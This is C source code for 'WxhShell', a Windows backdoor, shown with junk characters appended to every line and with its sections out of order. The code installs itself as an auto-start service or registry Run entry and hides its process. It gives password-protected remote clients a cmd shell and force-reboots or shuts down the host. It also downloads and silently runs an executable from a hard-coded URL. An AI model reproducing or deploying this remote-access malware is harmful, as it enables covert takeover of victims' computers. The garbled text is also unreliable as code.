    closesocket(wsh); ix&'0IrX*  
    ExitThread(0); lP3h<j  
    } orqJ[!u)`  
    break; y' [LNp V  
    } cU8xUpq  
  // 关机 wd+K`I/v7h  
  case 'd': { I 8z G~L%"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d:rGyA]  
    if(Boot(SHUTDOWN)) $FX,zC<=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  "r$/  
    else { )];aIA$  
    closesocket(wsh); tJ'iX>9I  
    ExitThread(0); snC/H G7  
    } FnE6?~xa  
    break; G3a7`CD  
    } [_.n$p-  
  // 获取shell 24B<[lSK  
  case 's': { iKAusWj  
    CmdShell(wsh); 3i=Iu0  
    closesocket(wsh); |8U;m:AS  
    ExitThread(0); B<,YPS8w  
    break; Z h'&-c_J  
  } d1G8*YO@  
  // 退出 H M:r0_  
  case 'x': { Qihdn66  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VteEDL/w  
    CloseIt(wsh); # {PmNx%M  
    break; ppN} k)m  
    } 6R4<J% $P  
  // 离开 ^R~~L  
  case 'q': { Q2QY* A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f~ U.a.Fb  
    closesocket(wsh); >5ChcefH  
    WSACleanup(); s&Yi 6:J  
    exit(1); 8ObeiVXf)  
    break;  f^b K=#  
        } ^sClz*%?  
  } N$#\Xdo  
  } iqPBsIW  
'*T]fND4  
  // 提示信息 LW:1/w&pv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5-vo0:hk  
} fY W|p<Q0  
  } 4XJiIa?  
Gquuy7[&  
  return; @~:8ye  
} mYv(R!37'  
Z :nbZHByh  
// shell模块句柄 $k%Z$NSN=  
int CmdShell(SOCKET sock) :YO@_  
{ sWqM?2g  
STARTUPINFO si; -d=WV:G%e  
ZeroMemory(&si,sizeof(si)); >*1}1~uU`'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qTmD '2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,hRN\Kt)p  
PROCESS_INFORMATION ProcessInfo; $>q@SJ1q  
char cmdline[]="cmd"; 1cC1*c0Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c0rk<V%5+  
  return 0; m9":{JI.w  
} Im?LIgt$  
'EhBRU%  
// 自身启动模式 7~UR!T9  
int StartFromService(void) 'i|rj W(  
{ eV};9VJ$F  
typedef struct .*5Z"Q['G  
{ >)**khuP7  
  DWORD ExitStatus; `dW]4>`O  
  DWORD PebBaseAddress; w0J|u'H  
  DWORD AffinityMask; \".^K5Pm  
  DWORD BasePriority; E>uVofhml  
  ULONG UniqueProcessId; ,r^"#C0J}  
  ULONG InheritedFromUniqueProcessId; 57I}RMT"  
}   PROCESS_BASIC_INFORMATION; 8P: spD0  
F- rQ3  
PROCNTQSIP NtQueryInformationProcess; 7Y( 5]A9=  
Ng=ONh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l67Jl"v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; diT=x52  
cgT  
  HANDLE             hProcess; (< c7<_-H  
  PROCESS_BASIC_INFORMATION pbi; = |U@  
TzG]WsY_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o l ({AYB  
  if(NULL == hInst ) return 0; sen=0SB/  
UKBJ_r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WF2-$`x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~r*P]*51x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dcfe_EuT  
nsuX*C7  
  if (!NtQueryInformationProcess) return 0; xge7r3i  
#JW+~FU`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9pSUIl9|j  
  if(!hProcess) return 0; Ud(`V:d  
|U' I/A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; svhI3"r  
kxB.,'  
  CloseHandle(hProcess); gP}+wbk  
 IDFFc&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -ysn&d\rV  
if(hProcess==NULL) return 0; [2c{k  
XNH4vG |  
HMODULE hMod; NL"G2[e  
char procName[255]; !{%:qQiA  
unsigned long cbNeeded; $jzFc!rs  
hZ$t$3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dp5cDF}l  
0 p uY"[c  
  CloseHandle(hProcess); HIvZQQW|  
j}JZ  
if(strstr(procName,"services")) return 1; // 以服务启动 F7}-!  
_e<o7Y@_  
  return 0; // 注册表启动 T6BFX0$  
} A#y@`} ]!'  
r,(Mu  
// 主模块 Y3U9:VB  
int StartWxhshell(LPSTR lpCmdLine) +cu^%CXT  
{ k!L@GQ  
  SOCKET wsl; zTm]AG|0  
BOOL val=TRUE; } p:%[  
  int port=0; %&<LNEiUN  
  struct sockaddr_in door; (P|pRVO  
V9%aBkf8w  
  if(wscfg.ws_autoins) Install(); ?&+9WJ<M  
:!TI K1  
port=atoi(lpCmdLine); M[]A2'fS  
5"KlRuv%  
if(port<=0) port=wscfg.ws_port; 2umv|]n+l|  
v3[@1FQ"  
  WSADATA data; TLa]O1=Bf.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o*S"KX $  
Tl("IhkC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >bo'Y9C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _GYMPq\%L#  
  door.sin_family = AF_INET; w Iv o"|%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vm1-C<V9  
  door.sin_port = htons(port); A<MtKb  
`)$_YZq|SR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VR? ^HA9  
closesocket(wsl); e]8,:Gd(  
return 1; Am4lEvb  
} 6sfwlT  
5g5'@vMN  
  if(listen(wsl,2) == INVALID_SOCKET) { umEVy*hc  
closesocket(wsl); va)%et0!  
return 1; Q;/a F`  
} LV{Q,DrP  
  Wxhshell(wsl);  >]D4Q<TY  
  WSACleanup(); (g!p>m!Z  
UK[v6".^h  
return 0; J5M+FwZq  
?\=/$Gt  
} >!6JKL~=  
NZLAk~R;0  
// 以NT服务方式启动 cI0 ]}S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d9^E.8p$  
{ 30j|D3-  
DWORD   status = 0; \_6OCVil  
  DWORD   specificError = 0xfffffff; ,El!fgL  
2\D8.nQr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;t#]2<d*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LJlZ^kh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aBuoHdg;  
  serviceStatus.dwWin32ExitCode     = 0; ?9+@+q  
  serviceStatus.dwServiceSpecificExitCode = 0; rJyCw+N0  
  serviceStatus.dwCheckPoint       = 0; >h~IfZU1  
  serviceStatus.dwWaitHint       = 0; je,}_:7  
IZ,oM!Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |,C#:"z;  
  if (hServiceStatusHandle==0) return; Pt,ebL~  
sY SLmUZ{  
status = GetLastError(); iP@6hG`:  
  if (status!=NO_ERROR) v-j3bB  
{ )$%Z:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z9/G4^qF  
    serviceStatus.dwCheckPoint       = 0; g2cVZ!GIj  
    serviceStatus.dwWaitHint       = 0; ] ,etZ%z&  
    serviceStatus.dwWin32ExitCode     = status; El_Qk[X|A  
    serviceStatus.dwServiceSpecificExitCode = specificError; yBpk$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uYI@ 9U  
    return; f>jwN@(  
  } )=pD%$iq  
JtKp(k&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;i uQ?MR3  
  serviceStatus.dwCheckPoint       = 0; ;!>Wz9  
  serviceStatus.dwWaitHint       = 0; dhPKHrS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,U,By~s  
} (46 {r}_O  
E\7m< 'R  
// 处理NT服务事件,比如:启动、停止 6c4&VW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1 k8x%5p  
{ h+~P"i}&\  
switch(fdwControl) {BBw$m,o  
{ 7u.|XmUz  
case SERVICE_CONTROL_STOP: K]oM8H1  
  serviceStatus.dwWin32ExitCode = 0; pE]?x $5U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -F/st  
  serviceStatus.dwCheckPoint   = 0; y8Xv~4qQW  
  serviceStatus.dwWaitHint     = 0; -XK0KYhgW  
  { F4#g?R ::U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YB))S!;Ok  
  } ^WYQ]@rh3  
  return; QWnndI_4p  
case SERVICE_CONTROL_PAUSE: R@ Y=o].2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MZv]s  
  break; UM%o\BiO  
case SERVICE_CONTROL_CONTINUE: FjfN3#qlg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9W7#u}Z  
  break; j|fd-<ng  
case SERVICE_CONTROL_INTERROGATE: le)DgIT>=  
  break; 8ip7^  
}; .Ce8L&cU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lm*VN~2  
} CJknJn3m&  
0BPMmk  
// 标准应用程序主函数 IakKi4(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `g ''rfk}  
{ 9<E g}Ic  
mdih-u(T|  
// 获取操作系统版本 ITJ q  
OsIsNt=GetOsVer(); jn%kG ~]'Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F!!N9VIC  
o5o^TW{  
  // 从命令行安装 w FtN+  
  if(strpbrk(lpCmdLine,"iI")) Install(); W`rNBfG>  
#G]!%  
  // 下载执行文件 OKOu`Hz@  
if(wscfg.ws_downexe) { yoe}$f4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) imL_lw^?  
  WinExec(wscfg.ws_filenam,SW_HIDE); b;mSQ4+  
} \u OdALZ  
h[tix:  
if(!OsIsNt) { -<_$m6x"A  
// 如果时win9x,隐藏进程并且设置为注册表启动 a~LC+8|JW  
HideProc(); @DAF 6ygs  
StartWxhshell(lpCmdLine); E:E4ulak  
} %GEJnJ  
else &NZfJs  
  if(StartFromService()) t/oN>mQG  
  // 以服务方式启动 "VxWj}+]  
  StartServiceCtrlDispatcher(DispatchTable); ,{eU P0]  
else h&@R| N  
  // 普通方式启动 |aToUi.Q%  
  StartWxhshell(lpCmdLine); xG&SX#[2  
`\Ku]6J]5  
return 0; .ae O}^  
} Px@/Q  
S&jesG-F  
S]3Ev#>  
R\Z: n*  
=========================================== NF$\^WvYSP  
N[|Nxm0z/C  
X~.f7Ao[  
&xZyM@  
AN:@fZ  
Pi2|  
" ;!@EixN-YH  
=ziwxIo6  
#include <stdio.h> U!w1AY|  
#include <string.h> nQK|n^AU/  
#include <windows.h> hv$yV%.`  
#include <winsock2.h> m#H3:-h,  
#include <winsvc.h> Ei>m0 ~<\  
#include <urlmon.h> C_:k8?  
xvLn'8H.  
#pragma comment (lib, "Ws2_32.lib") N6QVt f.  
#pragma comment (lib, "urlmon.lib") I8   
u0`o A  
#define MAX_USER   100 // 最大客户端连接数 N6oq90G  
#define BUF_SOCK   200 // sock buffer #1-xw~_  
#define KEY_BUFF   255 // 输入 buffer h:\oly\  
2 -!L _W(  
#define REBOOT     0   // 重启 Ft JjY@#  
#define SHUTDOWN   1   // 关机 M&Y .;  
tCF&OOI4`  
#define DEF_PORT   5000 // 监听端口 ~=r^3nZR/J  
donw(_=  
#define REG_LEN     16   // 注册表键长度 nx":"LFI  
#define SVC_LEN     80   // NT服务名长度 v0*N)eqDGd  
%!Q`e79g8  
// 从dll定义API N@o?b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xh@-g|+g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eBN)g^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _#$9 y1bd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bucR">_p  
7Ob*Yv=[  
// wxhshell配置信息 u8zbYd3  
struct WSCFG { }}{!u0N},V  
  int ws_port;         // 监听端口 6"j_iB  
  char ws_passstr[REG_LEN]; // 口令 {.e=qQ%P5)  
  int ws_autoins;       // 安装标记, 1=yes 0=no :q##fG 'm/  
  char ws_regname[REG_LEN]; // 注册表键名 iP~,n8W  
  char ws_svcname[REG_LEN]; // 服务名 *y[PNqyd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wYsZM/lw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jMBiaX`F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l?E a#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SJ' % ^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7[v%GoE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +m\|e{G  
}peBR80tQ  
}; [Bb utGvj  
1MkI0OZE  
// default Wxhshell configuration XhU@W}}  
struct WSCFG wscfg={DEF_PORT, T".]m7!  
    "xuhuanlingzhe", Mc sTe|X  
    1, -7>)i  
    "Wxhshell", ("7M b{  
    "Wxhshell", *mG`_9  
            "WxhShell Service", Z5G!ct:W  
    "Wrsky Windows CmdShell Service", kQdt}o])  
    "Please Input Your Password: ", (n( fI f  
  1, z;u> Yz+3  
  "http://www.wrsky.com/wxhshell.exe", 0CvsvUN@  
  "Wxhshell.exe" z T%U!jqI  
    }; C2e.2)y  
F-Z%6O,2  
// 消息定义模块 ?^Hf Np9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a.F Al@Br  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )8gGv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Aez2*g3  
char *msg_ws_ext="\n\rExit."; :q3+AtF  
char *msg_ws_end="\n\rQuit."; 4NVV5_K a  
char *msg_ws_boot="\n\rReboot..."; Q<tu)Qo  
char *msg_ws_poff="\n\rShutdown..."; 4NEq$t$Jn  
char *msg_ws_down="\n\rSave to "; Z*{] ,  
3ucP(Ex@tg  
char *msg_ws_err="\n\rErr!"; CCijf]+  
char *msg_ws_ok="\n\rOK!"; 6w3R'\9  
nHFrG =o,  
char ExeFile[MAX_PATH]; "LhUxnll  
int nUser = 0; .o{0+fC#  
HANDLE handles[MAX_USER]; -XoPia2  
int OsIsNt; pI`?(5iK6|  
~.Ik#At  
SERVICE_STATUS       serviceStatus; }H:F< z*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z|R,&~:  
w [>;a.$  
// 函数声明 _S0+;9fhY  
int Install(void); &YP#M |  
int Uninstall(void); USJ- e  
int DownloadFile(char *sURL, SOCKET wsh); D bX{#4lx  
int Boot(int flag); l kIn%=Z  
void HideProc(void); z5\;OLJS,  
int GetOsVer(void); `XTh1Z\  
int Wxhshell(SOCKET wsl); Ths_CKwgWY  
void TalkWithClient(void *cs);  /RZR}  
int CmdShell(SOCKET sock); %9C@ Xl  
int StartFromService(void); B=L&bx  
int StartWxhshell(LPSTR lpCmdLine); j '%4{n  
iItcN;;7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4\t1mocCSN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W~T}@T:EN  
#PvB/3  
// 数据结构和表定义 Q3W#`6jpF  
SERVICE_TABLE_ENTRY DispatchTable[] = EC&@I+'8Q  
{ ;|%dY{L-  
{wscfg.ws_svcname, NTServiceMain}, ;E2>Ovv  
{NULL, NULL} gB,G.QM*6  
}; S&nxok`e^  
ewNz%_2  
// 自我安装 Id'RL2Kq*&  
int Install(void) T<yP* b2E  
{ l|`9:H  
  char svExeFile[MAX_PATH]; zZ-wG  
  HKEY key; ]-o"}"3Ef  
  strcpy(svExeFile,ExeFile); eg+!*>GaX  
"ceed)(:  
// 如果是win9x系统,修改注册表设为自启动 Yx'res4e  
if(!OsIsNt) { _&3<6$}i"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |iFVh$N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~`;rNnOT3  
  RegCloseKey(key); Q\ ^[!|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TjK{9A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YKZrEP 4^  
  RegCloseKey(key); 7)rWw<mY  
  return 0; v ]Sl<%ry  
    } gJt`?8t  
  } 6~:Sgt nU  
} jdeV|H} u  
else { }G46g#_6d>  
Q "r_!f  
// 如果是NT以上系统,安装为系统服务 c47")2/yO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TZir>5  
if (schSCManager!=0) ^62|d  
{ }H4=HDO  
  SC_HANDLE schService = CreateService 5y2? f  
  ( aFiCZHohw  
  schSCManager, r9 y.i(j  
  wscfg.ws_svcname, eg"Gjp- 4=  
  wscfg.ws_svcdisp, _zxLwU1(x  
  SERVICE_ALL_ACCESS, ulHn#)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4Q=ftY<  
  SERVICE_AUTO_START, 3Rg}+[b  
  SERVICE_ERROR_NORMAL, fyz nuUl  
  svExeFile, /NT[ETMk+  
  NULL, *MN HT`Y^o  
  NULL, a>4uiFiv  
  NULL, 2g*J  
  NULL, I:(m aMc  
  NULL ln*icaDqf  
  ); ~s Qjl]  
  if (schService!=0) ?zJpD8e  
  { /5AW?2)  
  CloseServiceHandle(schService); #0I{.Wy]  
  CloseServiceHandle(schSCManager); e)nimq {6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G |*(8r()  
  strcat(svExeFile,wscfg.ws_svcname); +,+vkpL-%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { WlB' YL-`g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;P&y,:<m:  
  RegCloseKey(key); ;T]d M fO  
  return 0; 5 v^yQ<70  
    } `?*%$>W#"  
  } I|oT0y &  
  CloseServiceHandle(schSCManager); 31^cz*V  
} &WXY'A=  
} E9j+o y  
T&Xl'=/  
return 1; <[aDo%,A  
} qpoV]#iW  
Yw3oJf&  
// 自我卸载 |9xI_(+{kP  
int Uninstall(void) z_;3H,z`  
{ )|j[uh6w o  
  HKEY key; v4Zb? Yb  
mN `YuR~  
if(!OsIsNt) { S&O3HC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p]D]: Z}P  
  RegDeleteValue(key,wscfg.ws_regname); Op.8a`XLt&  
  RegCloseKey(key); Gz I~TWc+G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { + j+5ud`  
  RegDeleteValue(key,wscfg.ws_regname); uxn)R#?  
  RegCloseKey(key); 5F+APz7  
  return 0; K`}{0@ilCw  
  } QR?yG+VU  
} )CPM7>  
} JG`Q;K  
else { _Jz8{` "  
aeyNdMk -  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D'<VYl"/  
if (schSCManager!=0) l@j.hTO<  
{ vg Ipj3u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A*h{Lsx;  
  if (schService!=0) i LBvGZ<9  
  { +.B<Hd  
  if(DeleteService(schService)!=0) { t9gfU5?  
  CloseServiceHandle(schService); 1[F3 Z  
  CloseServiceHandle(schSCManager); a`9L,8Ve  
  return 0; ?rVy2!  
  } eO=s-]mk  
  CloseServiceHandle(schService); h+.{2^x  
  } =rA~7+}  
  CloseServiceHandle(schSCManager); /gcEw!JS  
} !2\ r LN  
} gyHHoZc3  
:nHKl  
return 1; /StTb,  
} 5FVndMM#y  
:%&Q-kk4!  
// 从指定url下载文件 M6 9 w-  
int DownloadFile(char *sURL, SOCKET wsh) vD/NgRBww  
{ nL@KX>  
  HRESULT hr; M4LP$N  
char seps[]= "/"; :,;K>l^U  
char *token; l:;PXy6)  
char *file; 'k;4j|<  
char myURL[MAX_PATH];  ~fl@ 2  
char myFILE[MAX_PATH]; sKz`aqI  
>% p{38  
strcpy(myURL,sURL); !1T\cS#1%  
  token=strtok(myURL,seps); MfO:m[s  
  while(token!=NULL) 7`vEe 'qz  
  { O-]mebTvw  
    file=token; G2 ]H6G$M  
  token=strtok(NULL,seps); 9 Gy  
  } +:=(#Y  
(YBMsh  
GetCurrentDirectory(MAX_PATH,myFILE); %V &n*3  
strcat(myFILE, "\\"); T#%/s?_>.  
strcat(myFILE, file); Sgim3):Z  
  send(wsh,myFILE,strlen(myFILE),0); v$~QCtc  
send(wsh,"...",3,0); L$'[5"ma ;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Tm^89I]L  
  if(hr==S_OK) .LVQx  
return 0; $CTSnlPq  
else *b *G2f^  
return 1; 682Z}"I0  
eg<bi@C1|  
} \}6;Kf}\  
3<=,1 cU  
// 系统电源模块 spU)]4P&  
int Boot(int flag) 0tIS Xu-  
{ d\MLOXnLq;  
  HANDLE hToken; G CRz<)1  
  TOKEN_PRIVILEGES tkp; -U~   
`.x$7!zLC  
  if(OsIsNt) { h'J|K^na  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !f>d_RG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y^Nuz/  
    tkp.PrivilegeCount = 1; ]3ONFa  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r`&-9"+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?1L.:CS  
if(flag==REBOOT) {  [=O/1T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rn DCqv!'P  
  return 0; HCK|~k  
} =U[3PC-N @  
else { i 8!zu!-0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I`[i;U{CK  
  return 0; i| \6JpNA:  
} o:Qv JcB  
  } kK 8itO  
  else { d\e7,"L*Q  
if(flag==REBOOT) { A[G0 .>Wk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $,I q;*7N  
  return 0; {NpM.;  
} }'r[m5T  
else { !-s!f&_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,1'4o3  
  return 0; pZ`|iLNl-  
} jF`BjxrG  
} h%WE=\,Qp  
VxP&j0M>  
return 1; %0#1t 5g  
} gOgps:  
`[o)<<}  
// win9x进程隐藏模块 4'W'}o|{  
void HideProc(void) Z, BC*  
{ Ehz o05/!  
Va Z!.#(P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dd2[yKC`  
  if ( hKernel != NULL ) Y|8v O  
  { \xg]oKbn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y`+=p@2O2o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,mRyQS'F  
    FreeLibrary(hKernel); Bq/:Nd[y  
  } 7+./zN  
Vcd.mE(t%  
return; $/Aj1j`"9+  
} L@=3dp!\Cu  
sNun+xsf^  
// 获取操作系统版本 'B+ ' (f  
int GetOsVer(void) Kn+S,1r  
{ "CiTa>x  
  OSVERSIONINFO winfo; ]weoTn:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NvM*h%ChM  
  GetVersionEx(&winfo); .ROznCe}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v}WR+)uFQ  
  return 1; :Hxv6  
  else .^J2.>.  
  return 0; MX>[^}n  
} `1:{0p2q  
*<1r3!  
// 客户端句柄模块 04r$>#E  
int Wxhshell(SOCKET wsl) L(GjZAP  
{ `3p~m,  
  SOCKET wsh; c8Z wr]DF  
  struct sockaddr_in client; vb9OonE2  
  DWORD myID; E2)h ?cs  
x8GJY~:SW  
  while(nUser<MAX_USER) -OSa>-bzNx  
{ 2Sm }On  
  int nSize=sizeof(client); ;#w3{ NB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V I% 6.6D  
  if(wsh==INVALID_SOCKET) return 1; U]a*uF~h  
){jl a,[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8Lw B B  
if(handles[nUser]==0) mN8pg4  
  closesocket(wsh); F R|&^j6  
else ~  T>U  
  nUser++; phO;c;y}  
  } E*i#?u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hy|b6wF&  
`est|C '+  
  return 0; e<r,&U$  
} F;^F+H  
e%W$*f  
// 关闭 socket yCCrK@{oo  
void CloseIt(SOCKET wsh) r(gXoq_w  
{ !?Wp+e6  
closesocket(wsh); }@.|?2b +  
nUser--; FLEo*9u>b  
ExitThread(0); ||yzt!n  
} J90v!p-  
YJ$1N!rG  
// 客户端请求句柄 m,fAeln  
void TalkWithClient(void *cs) -*.-9B~u  
{ :6$>_m=i  
6;b~Ht  
  SOCKET wsh=(SOCKET)cs; ]l8^KX'  
  char pwd[SVC_LEN]; W456!OHa  
  char cmd[KEY_BUFF]; |JCU<_<  
char chr[1]; (XoH,K?{z  
int i,j; +>JjvYx}\  
m.,U:>  
  while (nUser < MAX_USER) { I!^O)4QRx  
Jaz?Ys|S  
if(wscfg.ws_passstr) { p,"g+ MwP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Aocm R0D'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EYA,hc  
  //ZeroMemory(pwd,KEY_BUFF); .bio7c6  
      i=0; 1^gl}^|B  
  while(i<SVC_LEN) { Z1"v}g  
X.:]=,aGW  
  // 设置超时 $MJm*6h  
  fd_set FdRead; X1~1&:V,<  
  struct timeval TimeOut; >rvQw63\  
  FD_ZERO(&FdRead); W^"AU;^V56  
  FD_SET(wsh,&FdRead); 4>J   
  TimeOut.tv_sec=8; H/}]FmjN  
  TimeOut.tv_usec=0; y r,=.?C-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kZ"BBJ6w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6uR^%W8]  
itMg|%B%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "yW:\   
  pwd=chr[0]; 1@$Ko5  
  if(chr[0]==0xd || chr[0]==0xa) { -IV]U*4  
  pwd=0; 13Lr }M&  
  break; vx4+QQY P  
  } uG<}N=  
  i++; 2it?$8#i  
    } CD8}I85 K  
yq$,,#XDD=  
  // 如果是非法用户,关闭 socket h yv2SxP*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]LM-@G+Jz  
} xMBaVlEN  
- |gmQG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7VP32Eh[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `/_G$_  
4ni3kmvX  
while(1) { M+x,opl  
"!EcbR  
  ZeroMemory(cmd,KEY_BUFF); C"{k7yT  
H$6`{lx,  
      // 自动支持客户端 telnet标准   r hfb ftw  
  j=0; 0#MqD[U(  
  while(j<KEY_BUFF) { W | o'&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N 8-oY$*  
  cmd[j]=chr[0]; 2@ Z(P.Gh  
  if(chr[0]==0xa || chr[0]==0xd) { M %Qt|@O  
  cmd[j]=0;  E6WA}_  
  break; x|vqNZ\F  
  } Z:_D0jG  
  j++; .rf" (lM  
    } y8DhOlewQ  
ZIF49`Y4TF  
  // 下载文件 }[xs~! 2F  
  if(strstr(cmd,"http://")) { <'g:T(t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ? C/Te)  
